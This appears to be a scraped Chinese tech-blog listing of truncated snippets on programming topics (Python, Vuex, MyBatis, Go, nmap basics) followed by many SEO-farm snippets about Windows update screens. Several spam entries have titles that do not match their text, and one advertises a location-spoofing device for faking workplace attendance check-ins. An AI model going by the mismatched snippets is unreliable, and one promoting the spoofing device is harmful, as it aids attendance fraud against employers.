Python核心编程在线学习的主要内容有:程序的输出、程序的输入、注释、操作符、变量和赋值、数字、字符串、列表和元组、字典、代码块及缩进对齐、if语句、while循环、文件和内建函数open()、file(),以及模块。赶紧一起来学习和梳理Python核心编程的相关内容吧!1、程序的输出…...
2024/4/10 20:53:56 - 力扣第63题不同的路径II,动态规划
不同路径 II一个机器人位于一个 m x n 网格的左上角 (起始点在下图中标记为“Start” )。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。 现在考虑网格中有障碍物。那么从左上角到右下角将会有多少条不同的路径? 网格中的…...
2024/4/17 7:55:37 - NDK各个旧版本链接
NDK各个旧版本链接ndk_r15c (July 2017)ndk_r15b (June 2017)ndk_r14b (Dec 2016)ndk_r13b (Oct 2016)ndk_r13 (Sept 2016)ndk_r12 (June 2016)ndk_r11c (March 2016)ndk_r11b (March 2016)ndk_r11 (March 2016)ndk_r10e(Jan 2015)ndk_r10d(December 2014)ndk_r10c(October2014…...
2024/4/10 20:53:56 - Vuex 入门笔记
目录(一) Vuex 概述(二) Vuex 基本使用1. vuex 安装2. vuex 基本架构(三) vuex-state(三) vuex-getters(四) vuex-mutations(五) vuex-actions(六) vuex-modules (一) Vuex 概述 Vuex : 是一个专为Vue.js 应用程序开发的状态管理模式, 它采用集中式存储管理应用的所有组件的状态…...
2024/4/10 20:53:56 - 数学与简单Dp题目总结
文章目录买不到的数目题目大意输入格式输出格式数据范围输入样例输出样例解题思路AC代码蚂蚁感冒题目大意输入格式输出格式数据范围输入样例输出样例解题思路AC代码饮料换购题目大意输入格式输出格式输入样例输出样例解题思路AC代码01背包问题题目大意输入格式输出格式输入样例…...
2024/4/17 17:21:41 - 四.MyBatis-Plus的查询,删除,分页
四.MyBatis-Plus的查询,删除,分页 1.查询(比较简单,不作介绍)@Test//按照id数组查询void selectByIds(){List<user> users = usermapper.selectBatchIds(Arrays.asList(1, 2, 3));System.out.println(users);}@Test//通过map查询void selectByMap(){Map<String,Obj…...
2024/4/15 23:34:41 - nmap
Nmap 端口扫描: 常见端口与对应服务: 80 http 443 https 53 dns 25 smtp 22 ssh 23 telnet 20、21 ftp 110 pop3 119 nntp 143 imap 179 bgp 135-139、445 RPC 500 *** 5060 voip 123 ntp域名解析: n 不用解析域名。 R为所有目标解析域名。 –system-dns使用系统域名解析器解…...
2024/4/10 20:53:53 - html常用标签
HTML常用标签标题标签 <h1>~<h6> 标题字号大小逐级递减,具体效果如下:<h1>键盘敲烂,工资过万</h1> <h2>键盘敲烂,工资过万</h2> <h3>键盘敲烂,工资过万</h3> <h4>键盘敲烂,工资过万</h4> <h5>键盘敲烂…...
2024/4/10 20:53:52 - hasOwnProperty()遍历对象所有的非继承属性
创建一个对象let obj = {name: "小明",age: 18,}for…in…方法可以遍历对象的属性,包括继承得来的属性。为了验证这一点,我们先让他继承一个属性。obj.__proto__.love = "小红";接下来打印试试for (let key in obj) {console.log(key, obj[key]);}得到以…...
2024/4/10 20:53:52 - Java学习笔记
计算一个正整数的阶乘 public class demo7 {public static void main(String[] args) {int a=jiecheng(5);System.out.println(a);}public static int jiecheng(int n){int result = 1;for (int i=n;i>1;i--){result *=i;}return result;} }简单的方法的定义,了解方法的好处…...
2024/4/19 15:50:58
最新文章
- 数据库锁等待排查方法、命令行安装数据库及授权文件更新
欢迎关注“数据库运维之道”公众号,一起学习数据库技术! 本期将为大家分享“数据库锁等待排查方法、命令行安装数据库及授权文件更新”的运维技能。 关键词:锁等待、V$LOCK、V$TRXWAIT、死锁、锁超时、命令行部署达梦、授权文件更新 当用户反馈执行SQL语…...
2024/4/20 2:07:35 - 梯度消失和梯度爆炸的一些处理方法
在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言,在此感激不尽。 权重和梯度的更新公式如下: w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...
2024/3/20 10:50:27 - 第十二届蓝桥杯省赛真题(C/C++大学B组)
目录 #A 空间 #B 卡片 #C 直线 #D 货物摆放 #E 路径 #F 时间显示 #G 砝码称重 #H 杨辉三角形 #I 双向排序 #J 括号序列 #A 空间 #include <bits/stdc.h> using namespace std;int main() {cout<<256 * 1024 * 1024 / 4<<endl;return 0; } #B 卡片…...
2024/4/19 21:21:59 - 【JavaScript 漫游】【049】ES6 规范中对象的扩展
文章简介 本篇文章为【JavaScript 漫游】专栏的第 049 篇文章,对 ES6 规范中对象的扩展知识点进行了记录。具体包括: 属性的简洁表示法属性名表达式方法的 name 属性属性的可枚举性和遍历super 关键字对象的扩展运算符链判断运算符Null 判断运算符新增…...
2024/4/16 21:49:01 - 416. 分割等和子集问题(动态规划)
题目 题解 class Solution:def canPartition(self, nums: List[int]) -> bool:# badcaseif not nums:return True# 不能被2整除if sum(nums) % 2 ! 0:return False# 状态定义:dp[i][j]表示当背包容量为j,用前i个物品是否正好可以将背包填满ÿ…...
2024/4/19 19:02:10 - 【Java】ExcelWriter自适应宽度工具类(支持中文)
工具类 import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.CellType; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.ss.usermodel.Sheet;/*** Excel工具类** author xiaoming* date 2023/11/17 10:40*/ public class ExcelUti…...
2024/4/19 11:51:49 - Spring cloud负载均衡@LoadBalanced LoadBalancerClient
LoadBalance vs Ribbon 由于Spring cloud2020之后移除了Ribbon,直接使用Spring Cloud LoadBalancer作为客户端负载均衡组件,我们讨论Spring负载均衡以Spring Cloud2020之后版本为主,学习Spring Cloud LoadBalance,暂不讨论Ribbon…...
2024/4/19 11:33:34 - TSINGSEE青犀AI智能分析+视频监控工业园区周界安全防范方案
一、背景需求分析 在工业产业园、化工园或生产制造园区中,周界防范意义重大,对园区的安全起到重要的作用。常规的安防方式是采用人员巡查,人力投入成本大而且效率低。周界一旦被破坏或入侵,会影响园区人员和资产安全,…...
2024/4/19 11:52:08 - VB.net WebBrowser网页元素抓取分析方法
在用WebBrowser编程实现网页操作自动化时,常要分析网页Html,例如网页在加载数据时,常会显示“系统处理中,请稍候..”,我们需要在数据加载完成后才能继续下一步操作,如何抓取这个信息的网页html元素变化&…...
2024/4/19 2:38:12 - 【Objective-C】Objective-C汇总
方法定义 参考:https://www.yiibai.com/objective_c/objective_c_functions.html Objective-C编程语言中方法定义的一般形式如下 - (return_type) method_name:( argumentType1 )argumentName1 joiningArgument2:( argumentType2 )argumentName2 ... joiningArgu…...
2024/4/19 1:39:20 - 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】
👨💻博客主页:花无缺 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 本文由 花无缺 原创 收录于专栏 【洛谷算法题】 文章目录 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】🌏题目描述🌏输入格…...
2024/4/19 11:52:49 - 【ES6.0】- 扩展运算符(...)
【ES6.0】- 扩展运算符... 文章目录 【ES6.0】- 扩展运算符...一、概述二、拷贝数组对象三、合并操作四、参数传递五、数组去重六、字符串转字符数组七、NodeList转数组八、解构变量九、打印日志十、总结 一、概述 **扩展运算符(...)**允许一个表达式在期望多个参数࿰…...
2024/4/19 18:52:15 - 摩根看好的前智能硬件头部品牌双11交易数据极度异常!——是模式创新还是饮鸩止渴?
文 | 螳螂观察 作者 | 李燃 双11狂欢已落下帷幕,各大品牌纷纷晒出优异的成绩单,摩根士丹利投资的智能硬件头部品牌凯迪仕也不例外。然而有爆料称,在自媒体平台发布霸榜各大榜单喜讯的凯迪仕智能锁,多个平台数据都表现出极度异常…...
2024/4/19 23:08:02 - Go语言常用命令详解(二)
文章目录 前言常用命令go bug示例参数说明 go doc示例参数说明 go env示例 go fix示例 go fmt示例 go generate示例 总结写在最后 前言 接着上一篇继续介绍Go语言的常用命令 常用命令 以下是一些常用的Go命令,这些命令可以帮助您在Go开发中进行编译、测试、运行和…...
2024/4/20 0:22:23 - 用欧拉路径判断图同构推出reverse合法性:1116T4
http://cplusoj.com/d/senior/p/SS231116D 假设我们要把 a a a 变成 b b b,我们在 a i a_i ai 和 a i 1 a_{i1} ai1 之间连边, b b b 同理,则 a a a 能变成 b b b 的充要条件是两图 A , B A,B A,B 同构。 必要性显然࿰…...
2024/4/19 23:04:54 - 【NGINX--1】基础知识
1、在 Debian/Ubuntu 上安装 NGINX 在 Debian 或 Ubuntu 机器上安装 NGINX 开源版。 更新已配置源的软件包信息,并安装一些有助于配置官方 NGINX 软件包仓库的软件包: apt-get update apt install -y curl gnupg2 ca-certificates lsb-release debian-…...
2024/4/20 1:12:38 - Hive默认分割符、存储格式与数据压缩
目录 1、Hive默认分割符2、Hive存储格式3、Hive数据压缩 1、Hive默认分割符 Hive创建表时指定的行受限(ROW FORMAT)配置标准HQL为: ... ROW FORMAT DELIMITED FIELDS TERMINATED BY \u0001 COLLECTION ITEMS TERMINATED BY , MAP KEYS TERMI…...
2024/4/19 3:53:57 - 【论文阅读】MAG:一种用于航天器遥测数据中有效异常检测的新方法
文章目录 摘要1 引言2 问题描述3 拟议框架4 所提出方法的细节A.数据预处理B.变量相关分析C.MAG模型D.异常分数 5 实验A.数据集和性能指标B.实验设置与平台C.结果和比较 6 结论 摘要 异常检测是保证航天器稳定性的关键。在航天器运行过程中,传感器和控制器产生大量周…...
2024/4/19 19:50:16 - --max-old-space-size=8192报错
vue项目运行时,如果经常运行慢,崩溃停止服务,报如下错误 FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory 因为在 Node 中,通过JavaScript使用内存时只能使用部分内存(64位系统&…...
2024/4/20 1:43:00 - 基于深度学习的恶意软件检测
恶意软件是指恶意软件犯罪者用来感染个人计算机或整个组织的网络的软件。 它利用目标系统漏洞,例如可以被劫持的合法软件(例如浏览器或 Web 应用程序插件)中的错误。 恶意软件渗透可能会造成灾难性的后果,包括数据被盗、勒索或网…...
2024/4/19 11:54:11 - JS原型对象prototype
让我简单的为大家介绍一下原型对象prototype吧! 使用原型实现方法共享 1.构造函数通过原型分配的函数是所有对象所 共享的。 2.JavaScript 规定,每一个构造函数都有一个 prototype 属性,指向另一个对象,所以我们也称为原型对象…...
2024/4/19 23:35:17 - C++中只能有一个实例的单例类
C中只能有一个实例的单例类 前面讨论的 President 类很不错,但存在一个缺陷:无法禁止通过实例化多个对象来创建多名总统: President One, Two, Three; 由于复制构造函数是私有的,其中每个对象都是不可复制的,但您的目…...
2024/4/19 10:00:05 - python django 小程序图书借阅源码
开发工具: PyCharm,mysql5.7,微信开发者工具 技术说明: python django html 小程序 功能介绍: 用户端: 登录注册(含授权登录) 首页显示搜索图书,轮播图࿰…...
2024/4/18 18:47:01 - 电子学会C/C++编程等级考试2022年03月(一级)真题解析
C/C++等级考试(1~8级)全部真题・点这里 第1题:双精度浮点数的输入输出 输入一个双精度浮点数,保留8位小数,输出这个浮点数。 时间限制:1000 内存限制:65536输入 只有一行,一个双精度浮点数。输出 一行,保留8位小数的浮点数。样例输入 3.1415926535798932样例输出 3.1…...
2024/4/19 2:37:58 - 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...
解析如下:1、长按电脑电源键直至关机,然后再按一次电源健重启电脑,按F8健进入安全模式2、安全模式下进入Windows系统桌面后,按住“winR”打开运行窗口,输入“services.msc”打开服务设置3、在服务界面,选中…...
2022/11/19 21:17:18 - 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。
%读入6幅图像(每一幅图像的大小是564*564) f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...
2022/11/19 21:17:16 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...
win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面,在等待界面中我们需要等待操作结束才能关机,虽然这比较麻烦,但是对系统进行配置和升级…...
2022/11/19 21:17:15 - 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...
有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows,请勿关闭计算机”的提示,要过很久才能进入系统,有的用户甚至几个小时也无法进入,下面就教大家这个问题的解决方法。第一种方法:我们首先在左下角的“开始…...
2022/11/19 21:17:14 - win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...
置信有很多用户都跟小编一样遇到过这样的问题,电脑时发现开机屏幕显现“正在配置Windows Update,请勿关机”(如下图所示),而且还需求等大约5分钟才干进入系统。这是怎样回事呢?一切都是正常操作的,为什么开时机呈现“正…...
2022/11/19 21:17:13 - 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...
Win7系统开机启动时总是出现“配置Windows请勿关机”的提示,没过几秒后电脑自动重启,每次开机都这样无法进入系统,此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一:开机按下F8,在出现的Windows高级启动选…...
2022/11/19 21:17:12 - 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...
有不少windows10系统用户反映说碰到这样一个情况,就是电脑提示正在准备windows请勿关闭计算机,碰到这样的问题该怎么解决呢,现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法:1、2、依次…...
2022/11/19 21:17:11 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...
今天和大家分享一下win7系统重装了Win7旗舰版系统后,每次关机的时候桌面上都会显示一个“配置Windows Update的界面,提示请勿关闭计算机”,每次停留好几分钟才能正常关机,导致什么情况引起的呢?出现配置Windows Update…...
2022/11/19 21:17:10 - 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...
只能是等着,别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚,只能是考虑备份数据后重装系统了。解决来方案一:管理员运行cmd:net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...
2022/11/19 21:17:09 - 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?
原标题:电脑提示“配置Windows Update请勿关闭计算机”怎么办?win7系统中在开机与关闭的时候总是显示“配置windows update请勿关闭计算机”相信有不少朋友都曾遇到过一次两次还能忍但经常遇到就叫人感到心烦了遇到这种问题怎么办呢?一般的方…...
2022/11/19 21:17:08 - 计算机正在配置无法关机,关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机...
关机提示 windows7 正在配置windows 请勿关闭计算机 ,然后等了一晚上也没有关掉。现在电脑无法正常关机以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!关机提示 windows7 正在配…...
2022/11/19 21:17:05 - 钉钉提示请勿通过开发者调试模式_钉钉请勿通过开发者调试模式是真的吗好不好用...
钉钉请勿通过开发者调试模式是真的吗好不好用 更新时间:2020-04-20 22:24:19 浏览次数:729次 区域: 南阳 > 卧龙 列举网提醒您:为保障您的权益,请不要提前支付任何费用! 虚拟位置外设器!!轨迹模拟&虚拟位置外设神器 专业用于:钉钉,外勤365,红圈通,企业微信和…...
2022/11/19 21:17:05 - 配置失败还原请勿关闭计算机怎么办,win7系统出现“配置windows update失败 还原更改 请勿关闭计算机”,长时间没反应,无法进入系统的解决方案...
前几天班里有位学生电脑(windows 7系统)出问题了,具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面,长时间没反应,无法进入系统。这个问题原来帮其他同学也解决过,网上搜了不少资料&#x…...
2022/11/19 21:17:04 - 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...
本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法,并在最后教给你1种保护系统安全的好方法,一起来看看!电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中,添加了1个新功能在“磁…...
2022/11/19 21:17:03 - 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...
许多用户在长期不使用电脑的时候,开启电脑发现电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机。。.这要怎么办呢?下面小编就带着大家一起看看吧!如果能够正常进入系统,建议您暂时移…...
2022/11/19 21:17:02 - 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...
配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!配置windows update失败 还原更改 请勿关闭计算机&#x…...
2022/11/19 21:17:01 - 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...
不知道大家有没有遇到过这样的一个问题,就是我们的win7系统在关机的时候,总是喜欢显示“准备配置windows,请勿关机”这样的一个页面,没有什么大碍,但是如果一直等着的话就要两个小时甚至更久都关不了机,非常…...
2022/11/19 21:17:00 - 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...
当电脑出现正在准备配置windows请勿关闭计算机时,一般是您正对windows进行升级,但是这个要是长时间没有反应,我们不能再傻等下去了。可能是电脑出了别的问题了,来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...
2022/11/19 21:16:59 - 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...
我们使用电脑的过程中有时会遇到这种情况,当我们打开电脑之后,发现一直停留在一个界面:“配置Windows Update失败,还原更改请勿关闭计算机”,等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢࿰…...
2022/11/19 21:16:58 - 如何在iPhone上关闭“请勿打扰”
Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...
2022/11/19 21:16:57